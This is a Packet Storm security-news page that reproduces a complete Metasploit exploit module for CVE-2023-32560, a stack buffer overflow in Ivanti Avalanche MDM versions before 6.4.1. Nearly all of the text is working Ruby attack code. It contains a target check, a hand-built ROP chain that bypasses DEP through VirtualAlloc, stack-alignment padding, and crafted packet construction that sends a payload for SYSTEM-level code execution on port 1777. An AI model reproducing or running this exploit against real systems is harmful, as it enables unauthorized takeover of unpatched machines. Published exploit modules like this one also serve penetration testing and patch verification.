Security
Headlines
HeadlinesLatestCVEs

Headline

Ivanti Avalanche MDM Buffer Overflow

This Metasploit module exploits a buffer overflow condition in Ivanti Avalanche MDM versions prior to 6.4.1. An attacker can send a specially crafted message to the Wavelink Avalanche Manager, which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions. This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types. The program tries to copy the item data using qmemcopy to a fixed size data buffer on stack. Upon successful exploitation the attacker gains full access to the target system. This vulnerability has been tested against Ivanti Avalanche MDM version 6.4.0.0 on Windows 10.

Packet Storm
#vulnerability#windows#git#buffer_overflow#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ivanti Avalanche MDM Buffer Overflow',        'Description' => %q{          This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.          An attacker can send a specially crafted message to the Wavelink Avalanche Manager,          which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.          This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.          The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.          Upon successful exploitation the attacker gains full access to the target system.          This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.        },        'License' => MSF_LICENSE,        'Author' => [          'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module          'A researcher at Tenable' # Discovery        ],        'References' => [          ['CVE', '2023-32560'],          ['URL', 'https://www.tenable.com/security/research/tra-2023-27'],          ['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']        ],        'DefaultOptions' => {          'EXITFUNC' => 'thread'        },        'Platform' => 'win',        'Arch' => ARCH_X86,        'Payload' => {          'BadChars' => "\x3b"        },        'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],        'Privileged' => true,        'DisclosureDate' => '2023-08-14',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options(      [        OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])      ]    )  end  def check    begin      connect    rescue StandardError      print_error('Could not connect to target!')      return Exploit::CheckCode::Safe    end    res = sock.get_once    if res =~ /p\.guid/      return Exploit::CheckCode::Appears    else      return Exploit::CheckCode::Safe    end  end  def exploit    expected_payload_size = 622    # This is a custom ROP chain for bypassing DEP via VirtualAlloc    rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;    rop_chain += [0x00001000].pack('V')  # flAllocationType    rop_chain += [0x00499ac0].pack('V')  # pop eax ; ret ;    rop_chain += [0x0056a208].pack('V')  # VirtualAlloc IAT entry    rop_chain += [0x00566650].pack('V')  # pop ecx ; ret ;    rop_chain += [0x00000040].pack('V')  # flProtect    rop_chain += [0x0054b079].pack('V')  # pop ebx ; ret ;    rop_chain += [0x00000320].pack('V')  # dwSize    rop_chain += [0x00402323].pack('V')  # pop ebp; ret    rop_chain += [0x0055642a].pack('V')  # pop eax; ret    rop_chain += [0x0052ad90].pack('V')  # pop esi; ret;    rop_chain += [0x0042792f].pack('V')  # jmp [eax]    rop_chain += [0x00521907].pack('V')  # pop edi ; ret ;    rop_chain += [0x00568968].pack('V')  # ret ;    rop_chain += [0x004995ab].pack('V')  # pushad ; ret ;    rop_chain += [0x00499c20].pack('V')  # push esp ; ret    # Because of the compiler optimized `qmemcpy`    # we are not able to directly return to out smashed stack.    # This buffer re-arranges the entire stack for escaping    # the longass function without crashing.    buf = Rex::Text.rand_text_alpha(136)    buf += [0].pack('V')             # set empty register    buf += [0].pack('V')             # set empty register    buf += [0].pack('V')             # stack alignment buffer    buf += [0].pack('V')             # stack alignment buffer    buf += [0x00511a80].pack('V')    # ESP -> $(rop: "add esp, 0x10 ; ret ;")    buf += [0x00583900].pack('V')    # .data section scratch space    buf += [0x00583900].pack('V')    # .data section scratch space    buf += [0x00585858].pack('V')    # .data section scratch space    buf += [0x00585857].pack('V')    # .data section scratch space    # ==================    name1 = 'h.mid'    value1 = "\x30"    name2 = 'h.cmd'    value2 = "\x31\x39"    name3 = 'p.waitprofile'    value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)    item1 = [2].pack('N')    item1 += [name1.length].pack('N')    item1 += [value1.length].pack('N')    item1 += name1 + value1    item2 = [2].pack('N')    item2 += [name2.length].pack('N')    item2 += [value2.length].pack('N')    item2 += name2 + value2    item3 = [101].pack('N')    item3 += [name3.length].pack('N')    item3 += [value3.length].pack('N')    item3 += name3 + value3    hp = item1 + item2 + item3    if hp.length % 16 != 0 # Add padding if not power of 16      hp += ("\x00" * (16 - (hp.length % 16)))    end    preamble = [hp.length + 16].pack('N')    preamble += [item1.length + item2.length].pack('N')    preamble += [(hp.length + 16) - 0x3b].pack('N')    preamble += [0].pack('N')    packet = preamble + hp    print_status('Connecting to target...')    connect    res = sock.get_once    fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?    print_status('Sending payload...')    sock.put(packet)    disconnect  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7121-3